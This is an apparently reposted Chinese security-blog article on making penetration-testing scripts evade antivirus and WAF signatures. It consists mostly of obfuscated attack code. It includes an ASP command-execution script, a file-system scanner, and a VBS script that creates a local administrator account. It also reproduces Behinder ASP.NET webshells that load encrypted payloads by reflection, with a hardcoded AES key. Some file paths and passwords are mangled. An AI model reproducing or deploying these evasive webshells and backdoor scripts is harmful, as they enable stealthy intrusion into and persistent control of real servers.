常用渗透脚本的特征免杀方式
2022-8-15 15:19:39 Author: www.secpulse.com(查看原文) 阅读量:55 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

我们在渗透测试过程中时常会用到一些脚本,而现在大部分的WAF或杀软都会根据一些危险组件名、特定字符做为特征来查杀,只要找到其特征,我们可以使用简单的混淆、拼接等方式来进行免杀。

以下是笔者在以往测试中遇到过的一些,现在记性不太好,有时想找找不到,烦的很...,先记录在这里吧!

0x02 ASP执行命令脚本

这个脚本会被网站安全狗查杀,特征:Shell.Application,当Wscript.shell组件被卸载不可用时就会提示:[Err] ActiveX 部件不能创建对象,这时可尝试用这个组件来执行命令。

<%
Set SA = CreateObject("Shell.Application")、SA.ShellExecute "cmd.exe"," /c set > C:NpointSoftnpointhost2.2.0web1.txt","C:NpointSoft、npointhost2.2.0web","",0
%>

这里只需将Shell.Application组件名进行简单的混淆即可免杀,不过得注意安全狗在进行一次扫描后可能会记录该文件的MD5值,需重新创建一个文件才不会查杀

<%
on error resume next
Set SA = CreateObject("She" & "ll.App" & "lication")
SA.ShellExecute "C:windowssystem32cmd.exe"," /c whoami > C:ProgramData1.txt","","open",0
Response.Write("ok")
%>

注:虽然绕过了特征查杀,但【网站防护->行为防护】还是会拦截高危组件的调用和w3wp.exe命令执行等行为,不过这几个选项在默认安装时好像只是记录,并没有阻止,所以还是可以试一下。

0x03 ASP扫可读写脚本

这个脚本会被网站安全狗查杀,特征:Scripting.FileSystemObject,当目标主机磁盘权限设置较为严格时需要用到这个脚本来查找可读写目录,以下几种混淆也会被杀。

"Scripting.FileSystemObject"
"Script"&"ing.Fil"&"eSyst"&"emObject"
"sc"&"ript"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t"
"scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t"

测试过后发现只需将Scripting.FileSystemObject组件名按以下方式混淆下即可免杀,大家也可以自行改变一下位置看下是否也能免杀。

<%
'Response.Buffer = FALSE
Server.ScriptTimeOut=999999999
Set Fso=server.createobject("scri"&"pt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") 
%>
[...SNIP...]

0x04 VBS添加用户脚本

这个vbs脚本火绒会杀,特征:WSCRIPT.NETWORK,但360并没有杀。当目标主机上安装的有360、火绒和金山毒霸时会拦截添加用户行为,这时可用这个脚本来绕过。

set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword "[email protected]#!23"od.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"

这里只需将WSCRIPT.NETWORK组件名进行简单的混淆即可免杀。

Const strPassword = "[email protected]#!23"
Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK") 
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","betasec")
od.SetPassword strPassword
od.SetInfo
Set of=GetObject(os&"/betasec",user)
oe.add os&"/betasec"

0x05 冰蝎4.0.2-Webshell

冰蝎4.0.2生成的ASP.NET服务端木马也会被安全狗查杀,特征为28行的Assembly虽然已被注释,但还是会被杀,不过我们只需将该特征或整行删除就能过了。

 //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);

3.0 ASP.NET Webshell:

Hello Administrator!
WelCome To Tas9er ASP.NET Console!<html>
</html>
{;}
Hello Administrator!
WelCome To Tas9er ASP.NET Console!<html>
</html>
{;}
<%@ImPoRt NaMeSpAce="System.Reflection"%>
<%
Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });
%><%
Session["gov"]="https://"+"shanghai.g"+"ov.cn";
byte[] govn = Encoding.Default.GetBytes/*gov16*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),
govTD = Request.BinaryRead/*govvaVRp0zjPmEG*/(Request.ContentLength);
Assembly.Load(new System./*govSeosZ*/Security/*govpUQ02bwEb33d2*/.Cryptography/*govEJfw*/./*govrSARoMWEzC9GI*/RijndaelManaged()/*govFcmLIWqMi029kU*/.CreateDecryptor(govn, govn).TransformFinalBlock/*govXAH*/(govTD, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govTD.Length))./*govTmO*/CreateInstance(System.Text.Encoding.Default./*govXhGE4u0ypGLhc*/GetString(Convert.FromBase64String("VQ==")))/*govG*/.Equals(this);
%>
<%@ PagE LaNguAge="C#" %>

4.0.2 ASP.NET Webshell:

<%@ Page Language="C#" %>    <%@Import Namespace="System.Reflection" %>    <script runat="server">
              private  byte[] Decrypt(byte[] data)        {            string key="e45e329feb5d925b";            data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);        }        private  byte[] Encrypt(byte[] data)        {            string key = "e45e329feb5d925b";            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));        }

   </script>        <%        //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);                byte[] c=Request.BinaryRead(Request.ContentLength);            string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});            Type assembly=Type.GetType(asname);              MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});              object obj=load.Invoke(null, new object[]{Decrypt(c)});              MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});              string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });              object pay=create.Invoke(obj,new object[] { name });              pay.Equals(this);        %>

本文作者:潇湘信安

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/185303.html


文章来源: https://www.secpulse.com/archives/185303.html
如有侵权请联系:admin#unsafe.sh